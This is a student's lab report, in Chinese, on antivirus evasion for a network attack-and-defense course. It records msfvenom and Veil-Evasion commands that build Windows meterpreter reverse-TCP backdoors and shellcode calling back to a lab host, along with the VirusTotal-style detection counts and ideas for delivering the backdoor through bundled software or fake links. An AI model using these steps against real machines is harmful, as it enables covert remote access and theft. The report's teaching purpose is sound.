20169210 2016-2017-2《网络攻防实践》第十四周免杀技术
免杀技术
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
- 启发式恶意软件检测
- 基于行为的恶意软件检测
如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。
(2)免杀是做什么?
使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。
(3)免杀的基本方法有哪些?
- 改变特征码
对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码
- 改变攻击行为
基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
实践总结与体会
此次实验使我深入了解了病毒或者是木马的查杀原理,通过对免杀技术的了解,意识到电脑并不是装上了杀毒软件就万无一失了,很多病毒是查杀不到的,但是装上几个杀毒软件之后电脑就运行不起来了,所以最重要的还是我们的防范意识要强,并且每周更新一个病毒库。
离实战还缺些什么技术或步骤?
在实际环境中,我们的后门程序需要一些其他的手段才能移植到靶机的电脑上,例如可以捆绑到正规软件上,又或者是做一个假的链接让靶机的使用者点击下载操作。
实践过程记录
1.使用msf编码器直接生成一个后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.126 LPORT=5329 -f exe > 5329met-encoded.exe
文件传送到windows以后被查杀,找回后上传到virscan扫描,有20/39款杀软鉴定它为恶意代码
检测过程如图所示:
2.使用veil-evasion免杀平台
kali原本没有veil-evasion ,所以需要先安装
sudo ape-get install veil-evasion
menu下依次输入语言、ip、端口号以及文件名等
use python/meterpreter/rev_tcp
set LHOST 172.16.69.126
generate
5329
1
将生成的可执行文件传送到windows,传送时windows杀软没有检测到文件为恶意代码并杀死它
在windows文件中找到恶意代码(5329.exe),上传到virscan扫描发现有1/39款杀软识别出它是恶意代码
3.shellcode编程
在kali终端下生成一个c格式的十六进制数组,Ip为kali的
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.126 LPORT=443 -f c
按照实验教程模版在windows VS中编写一个c语言的shellcode代码,并将kali中生成的带有kali ip的十六进制数组加入c代码的编写中,
kali中运行msf监听
将c代码上传到virscan扫描,结果显示5/39的杀毒软件鉴定为恶意代码,并且提出了警告。